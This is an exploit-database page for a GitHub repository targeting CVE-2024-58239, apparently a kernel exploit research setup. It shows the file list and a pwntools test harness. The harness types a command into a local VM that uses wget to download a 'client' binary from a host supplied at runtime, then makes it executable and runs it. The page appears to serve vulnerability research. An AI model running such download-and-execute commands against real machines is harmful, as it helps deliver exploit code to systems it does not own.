Exploit databaseDownload repository ZIP
GH-c0a4aef21b7b4f9c58f7a4c71fc3c62f
khoatran107/cve-2024-58239
Sources for CVE-2024-58239
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files14
khoatran107/cve-2024-58239Revision f56b8b332699
- exploit/
- shared/
- tls_demo/
- .gdb_history
- .gitignore
- README.md
- calc_AC_rate.py
- compile.sh
- flag
- local_runner.sh
- lts.gdb
- qemu.sh
- script.gdb
- test.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
test.py
Python · 483 bytesfrom pwn import *
import time
import sys
context.log_level = 'CRITICAL'
ip = sys.argv[1]
port = int(sys.argv[2])
p = process(["./exploit/mitigation-v4-6.6/server", "--port", str(port)])
start = time.time()
q = process(["./local_runner.sh", "mitigation-v4-6.6"])
q.sendlineafter(b"user@", f"cd /tmp && wget http://{ip}:3000/client && chmod +x ./client && ./client --ip {ip} --port {port}".encode())
q.interactive()
p.close()
end = time.time()
print(f'Ellapsed time: {end - start}')